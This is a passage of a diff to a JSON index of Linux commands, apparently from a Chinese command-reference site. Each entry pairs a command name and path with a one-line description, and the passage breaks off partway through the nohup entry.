"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运